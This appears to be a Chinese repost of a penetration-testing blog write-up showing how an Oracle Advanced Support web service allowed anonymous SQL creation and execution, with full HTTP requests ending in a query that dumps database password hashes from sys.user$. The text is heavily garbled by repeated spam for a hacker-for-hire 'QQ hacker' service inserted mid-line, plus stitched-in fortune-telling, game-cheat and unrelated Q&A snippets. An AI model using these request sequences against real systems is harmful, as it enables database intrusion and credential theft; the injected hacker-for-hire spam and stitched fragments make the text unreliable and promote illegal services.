有木有比较好的算命网站-Oracle Advanced Support系统软件SQL注入系统漏洞发掘心得分享
Oracle Advanced Support系统软件SQL注入系统漏洞剖析
一年多前我还在顾客的一个外部环境中实行渗透测试,一切外部环境渗透测试的关键流程之一便是发掘出可浏览的WEB服务项目。nmap和EveWitness的融合会致这流程越来越更快,由于我们可以开展端口扫描器 而且把这种結果以屏幕截图的方式导到 EyeWitness中。当整理完 EyeWitness出示的屏幕截图网页页面后,我发现一个Oracle 高級适用服务项目。
尽管我以前从未听过Oracle Advanced Support,可是当我们迅速的google完以后,我掌握到它好像是一个容许oracle的服务支持在外界登陆,而且在oracle系统软件自然环境下开展一切服务支持必须的实际操作的服务项目。拥有这一信息内容以后, 我们可以将目前的web应用检测与它融合起來。
我先破译后接单子的qq黑客们能够对这一运用刚开始开展一些简易的侦察,包含:
找寻早已被曝出的系统漏洞
用burp抓取运用
枚举类型普遍的途径
查询可获得的网页页面的源代码
幸运的是,我还在首页的源代码中发觉了 一个包括财产文件目录明细的连接。
针对像那样一个不明的运用,文件目录目录是很有效的,它让我们了一些期待去发觉一些很趣味 但不应该被浏览到的物品 。不可置否的在寻找每一个文件目录以后,我偶然发现了下列的javascript文档:
让它越来越更合适阅读文章一些
在Web渗透测试中,在其中一个我很喜欢的而且经常忽略的事儿是搜索运用中的javascript文档, 而且看一下她们是不是适用一切POST 或是是GET要求。
大家早已发觉了一个称为sql-service.js的javascript文档,这要我马上在脑子里提升 起警惕来。这一文件包含4个匿名函数在其中三个t.get *** ON方式的GET要求和一个t.post方式的POST要求。这种涵数包括以下一些自变量:
1
2
3
先破译后接单子的qq黑客 4
getSqlData
createNamedSql
getNamedSqlList
getSqlNameList
在本文的剩下一部分,我将谈及匿名函数中的自变量。
每一个涵数的根节点都坐落于/rest/data途径下。
接下去是将她们分拆以后的要求:
1
2
3
4
GET /rest/data/sql
先破译后接单子的qq黑客 POST /rest/data/sql
GET /rest/data/sql_list
GET /rest/data/sql_name_list
拥有这种以后,刚开始取出我最喜欢的 *** 工具:burp,看一下会产生哪些!
长驱直入
我更先试着的是来自于getSqlData涵数途径是/rest/data/sql的GET要求。大家也仔细观察javascript发觉这一要求必须额外一个主要参数,使我们在末尾再加上”test”.
先破译后接单子的qq黑客 1
2
3
4
HTTP Request:
GET /rest/data/sql/test HTTP/1.1 Host: host Connection: close Accept: application/json;charset=UTF-8 Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Content-Type: application/json Content-Length: 0
先破译后接单子的qq黑客 HTTP Response:
HTTP/1.1 404 Not Found Content-Type: application/json Content-Length: 20 Connection: close Named SQL not found.
在我们把”test”加到要求url的结尾,缺少对象了404。另外 *** 服务器也回到先破译后接单子的qq黑客了那样一个信息内容:Named SQL not found。如果我们试着”test”以外的别的字符串数组,获得了一样的回到信息内容。大家把这个要求发至Burp 的 intruder控制模块,准备尝试过一个文件目录目录词典来枚举类型潜在性的主要参数名,看一下是不是能获得除开404以外的回到。可是有一个更简易的方式来寻找适合的主要参数名。如果我们再度查询javascript,你能发觉涵数的名字让我们一些有使用价值的信息内容。我们在下列涵数中发觉了2个GET要求:getNamedSqlList 和 getSqlNameList.。大家刚刚的要求回到的错误报告是 Named SQL not found error。使我们试着对于getNamedSqlList涵数的GET要求。
1
先破译后接单子的qq黑客 2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
HTTP Request:
GET /rest/data/sql_list HTTP/1.1
先破译后接单子的qq黑客 Host: host
Connection: close
Accept: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Type: application/json
Content-Length: 0
先破译后接单子的qq黑客 HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Connection: close
Content-Length: 243633
先破译后接单子的qq黑客 先破译后接单子的qq黑客 先破译后接单子的qq黑客 先破译后接单子的qq黑客 先破译后接单子的qq黑客[{"id":1,"name":"sample","sql":"SELECT TIME,CPU_UTILIZATION,MEMORY_UTILIZATION FROM TIME_REPORT where TIME > :time","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":36,"name":"time","type":"date-time","value":null}]},{"id":2,"name":"cpu_only","sql":"SELECT TIME,CPU_UTILIZATION FROM TIME_REPORT","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[]},{"id":3,"name":"simple_param","sql":"SELECT TIME ,CPU_USAGE FROM CPU_MONITOR WHERE CPU_USAGE < ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":1,"name":"cpu_usage","type":"int","value":null}]},{"id":4,"name":"double_param","sql":"SELECT TIME,CPU_USAGE FROM CPU_MONITOR WHERE CPU_USAGE between ? and ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":2,"name":"cpu_low","type":"int","value":null},{"id":3,"name":"cpu_high","type":"int","value":null}]},{"id":5,"name":"by_time","sql":"select time, cpu_usage from CPU_MONITOR where time(time) > ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":4,"name":"time","type":"string","value":null}]},{"id":10,"name":"tableTransferMethod","sql":"先破解后接单的qq黑客SELECT result_text, result_value FROM MIG_RPT_TABLE_TRANSFER_METHOD WHERE scenario_id = :scenario_id AND package_run_id = :pkg_run_id AND engagement_id = :engagement_id","dataSourceJNDI":"jdbc/acscloud","privileges":[],"paramList":[{"id":5,"name":"scenario_id","type":"int","value":null},{"id":6,"name":"pkg_run_id","type":"string","value":null},{"id":7,"name":"engagement_id","type":"int","value":null}]},{"id":16,"name":"dataTransferVolumes","sql":"select RESULT_TEXT,\n RESULT_VALUE\nfrom MIG_RPT_DATA_TRANSFER_VOLUME\nwhere scenario_id = :scenario_id\nAND package_run_id = :pkg_run_id\nAND engagement_id = :engagement_id","dataSourceJNDI":"jdbc/acscloud","privileges":[],"paramList":[{"id":8,"name":"scenario_id","type":"int","value":null},{"id":9,"name":"pkg_run_id","type":"string","value":null},{先破解后接单的qq黑客 "id":10,"name":"engagement_id","type":"int","value":null}]},{"id":17,"name":"dataCompressionPercentage","sql":"SELECT RESULT_TEXT,\n RESULT_VALUE\nFROM MIG_RPT_DATA_COMPRESSION_PCT\nWHERE&先破解后接单的qq黑客 nbsp; scenario_id = :scenario_id\nAND package_run_id = :pkg_run_id\nAND engagement_id =
先破解后接单的qq黑客 先破解后接单的qq黑客先破解后接单的qq黑客 …
这的确给了我们不少的信息,让我们仔细分析一下,我们获得了一组json对象,看一下数组中的之一个对象:
1
先破解后接单的qq黑客 {"id":1,"name":"sample","sql":"SELECT TIME,CPU_UTILIZATION,MEMORY_UTILIZATION FROM TIME_REPORT where TIME > :time","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":36,"name":"time","type":"date-time","value":null}]}
我们发现了以下的属性:name, sql, dataSourceJNDI, privileges, and 先破解后接单的qq黑客 paramList,其中 sql属性是我最感兴趣的因为它包含了具有字符串值的SQL语句。我们把name的值放进先前尝试的GET请求中。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
先破解后接单的qq黑客15
HTTP Request:
GET /rest/data/sql/sample HTTP/1.1
Host: host
Connection: close
Accept: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
先破解后接单的qq黑客 Content-Type: application/json;charset=UTF-8
Content-Length: 0
HTTP Response:
HTTP/1.1 400 Bad Request
Content-Type: application/json
Content-Length: 44
Connection: close
先破解后接单的qq黑客 Bad Request.Param value not defined for time
Hey!我们得到一些返回!但是我们少了一个参数,让我们加进来。
1
2
3
4
5
6
7
8
9
10
11
12
先破解后接单的qq黑客 13
14
HTTP Request:
GET /rest/data/sql/sample?time=1 HTTP/1.1
Host: host
Connection: close
Accept: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate, sdch
先破解后接单的qq黑客 Accept-Language: en-US,en;q=0.8
Content-Type: application/json;charset=UTF-8
Content-Length: 0
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Content-Length: 2
Connection: close
先破解后接单的qq黑客虽然没有从服务器获得任何返回,但是也没有返回任何错误!难道是例子中的SQL语句被执行了,只是没有回显?我们可以继续尝试其他的从先前请求中获得的names,但是我们看一下原始的javascript。我们发现有一个叫做createNamedSQL的函数,它是一个POST的请求。我们知道来至于getNamedSqlList 的请求的返回值包含了sql语句的值。也许是这个post请求会允许我们在服务器上 执行sql查询。我们试一下!
SQL Execution
这就是createNamedSQL中在包体里面包含一个空json对象的POST请求:
先破解后接单的qq黑客
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
先破解后接单的qq黑客 HTTP Request:
POST /rest/data/sql HTTP/1.1
Host: host
Connection: close
Accept: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Type: application/json
Content-Length: 0{}
HTTP Response:
HTTP/1.1 500 Internal Server Error
Content-Type: text/html
Content-Length: 71
Connection: close
先破解后接单的qq黑客 A system error has occurred: Column 'SQL_NAME' cannot be null [X64Q53Q]
我们得到一个关于SQL_NAME列的错误,当我们在包体中包含空的json对象时这不是很意外。现在我们在包体里加入一个随机的属性名和数值。
1
2
3
4
5
6
7
8
9
10
11
先破解后接单的qq黑客12
13
14
15
16
HTTP Request:
POST /rest/data/sql HTTP/1.1
Host: host
Connection: close
Accept-Encoding: gzip, deflate, sdch
先破解后接单的qq黑客 Accept-Language: en-US,en;q=0.8
Content-Length: 16
Content-Type: application/json;charset=UTF-8
{"test":1}
HTTP Response:
HTTP/1.1 400 Bad Request
Content-Type: text/plain
Content-Length: 365
先破解后接单的qq黑客 Connection: close
Unrecognized field "test" (class com.oracle.acs.gateway.model.NamedSQL), not marked as ignorable (6 known properties: "privileges", "id", "paramList", "name", "sql", "dataSourceJNDI"])
先破解后接单的qq黑客 at [Source: org.glassfish.jersey.message.internal.EntityInputStream@1c2f9d9d; line: 1, column: 14] (through reference chain: com.oracle.acs.gateway.model.NamedSQL["SQL_NAME"])
再一次不意外的获得了一个关于未知“test”字段的bad request,但是如果你注意的话,这个错误的信息给我们返回了一些有用的属性。感谢 Oracle先生的服务!这些属性也同样出现了从getNamedSqlList发出请求先破解后接单的qq黑客获得的返回中。我使用getNamedSqlList请求的返回中其中的一个值赋给dataSourceJNDI属性。
1
2
3
4
5
6
7
8
9
10
11
12
13
HTTP Request:
先破解后接单的qq黑客 POST /rest/data/sql HTTP/1.1
Host: host
Connection: close
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Length: 101
Content-Type: application/json;charset=UTF-8
先破解后接单的qq黑客 {
"name": "test",
"sql":"select @@version",
"dataSourceJNDI":"jdbc/portal"
}
这看起来是一个很好的测试请求,我们来见证一下 他是否有效。
1
先破解后接单的qq黑客2
3
4
5
6
HTTP Response:
HTTP/1.1 500 Internal Server Error
Content-Type: text/plain
Content-Length: 200
Connection: close
先破解后接单的qq黑客 A system error has occurred: MessageBodyWriter not found for media type=text/plain, type=class com.oracle.acs.gateway.model.NamedSQL, genericType=class com.oracle.acs.gateway.model.NamedSQL. [S2VF2VI]
我们仍然从服务器获得了一个错误返回,但是只返回了content-type。SQL语句可能已经被创建了。通过把名称字段设为“test”, 让我们尝试之一个具有参数的GET请求。
先破解后接单的qq黑客 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
HTTP Request:
GET&先破解后接单的qq黑客nbsp;/rest/data/sql/test HTTP/1.1
Host: host
Connection: close
Accept: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Type: application/json;charset=UTF-8
先破解后接单的qq黑客 Content-Length: 0
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Content-Length: 24
Connection: close
[{"@@version":"5.5.37"}]
看这里!我们获得了一些SQL执行。
看一下“我们”是谁。
先破解后接单的qq黑客 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
HTTP Request:
POST /rest/data/sql HTTP/1.1
先破解后接单的qq黑客 Host: host
Connection: close
Accept: **
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Length: 120
Content-Type: application/json;charset=UTF-8
先破解后接单的qq黑客 {
"name": "test3",
"sql":"SELECT name, password FROM sys.user$",
"dataSourceJNDI":"jdbc/portal"
}
HTTP Request:
GET /rest/data/sql/test3 HTTP/1.1
Host: host
Connection: close
Accept: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Content-Type: application/json;charset=先破解后接单的qq黑客UTF-8
Content-Length: 0
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Content-Length: 5357
Connection: close
[{"NAME":"SYS","PASSWORD":"[REDACTED]&先破解后接单的qq黑客quot;},{"NAME":"PUBLIC","PASSWORD":null},{"NAME":"CONNECT","PASSWORD":null},{"NAME":"RESOURCE","PASSWORD":null},{"NAME":"DBA","PASSWORD":null},{"NAME":"SYSTEM","PASSWORD":"[REDACTED]"},{"NAME":"SELECT_CATALOG_ROLE","PASSWORD":null},{"NAME":"EXECUTE_CATALOG_ROLE","PASSWORD":null}
先破解后接单的qq黑客 …
我们可以获得数据库中的用户密码的哈希值。我编辑和删除了主要的部分。知道了我们是一个具有administrator权限的用户,当然后续我们还可以做很多事情。然而,针对此博客的目的,我停止下来了。
结论
关于这个匿名sql执行我联系了oracle,他们很快的回复并且修复了这个问题。对我而言真正的问题是为什么web服务压根儿就允许sql语句被执行呢?
这个博客更大的收获是一定要看应用中的javascript文件。在多个web应用和外网的渗透测试中,我已经发现了隐藏在javascript文件中sql 注入,命令执行,和 xml实体注入攻击。
作为针对熟练渗透测试者的练习任务,看完这篇博客并且统计多少个你能确定的漏洞。提示:超过三处
参考
https://github.com/ChrisTruncer/先破解后接单的qq黑客EyeWitness
https://nmap.org/
https://docs.oracle.com/cd/B16351_01/doc/server.102/b14196/users_secure001.htm
https://docs.oracle.com/cd/B28359_01/server.111/b28337/tdpsg_user_accounts.htm#TDPSG20000
https://portswigger.net/burp/help/repeater_using.html
强悍的黑客出狱后,大公司都会抢着争。尤其是安全部门。年薪上百万。因为强悍的黑客懂的知识领域太广了,而且都很精湛。有没有比较好的算命网站
王者荣耀黑科技刷点卷如果说黑客能不能造成伤亡那个,那肯定是不能,但是对于物质层面或者说精神层面的伤害那一定是不能小觑的。小到在你不知道的情况下窃取你的信息,随意散播。
有没有比较好的算命网站一般不会,黑客都是深藏不露的,因为一般都是不太光彩的事百度啊,上次我在百度加到个,不懂是真是假,他没有说自己是黑客,可能不想暴露吧网站被攻击的原因有很多,重点检查:1、ftp被破解或者密码泄露2、网站本身有漏洞被上传木马对代码进行了篡改加了木马代码,一般都是加密的代码3、后台。
唉!这个怎么能装呢?而且要装黑客!我建议你别装这个,这可是丢脸的哦!
您好 先破解后接单的qq黑客 建议您检查一下是否是硬件问题 如散热不好导致的自动关机 杀毒软件在运行过程中,占用了大部分系统资源 CPU高速计算,温度较高 如果散热差,会导致温度。有没有比较好的算命网站
古代西方哲学家先破解后接单的qq黑客认为构成自然界的物体并衍生万物的物质是水、火、土、风四大元素。地球依著黄道运行其实就是四大元素的流转变化,因此黄道12星座一共分为四。
有没有比较好的算命网站1、建议进入设定-应用程序管理器-全部-互联网-清除数据/清除默认设置尝试。2、尝试登陆不同网站测试3、下载安装其它浏览器登录尝试4、备份好手机中。
标签:
版权声明
本文仅代表作者观点,不代表本站立场。
本文系作者授权发表,未经许可,不得转载。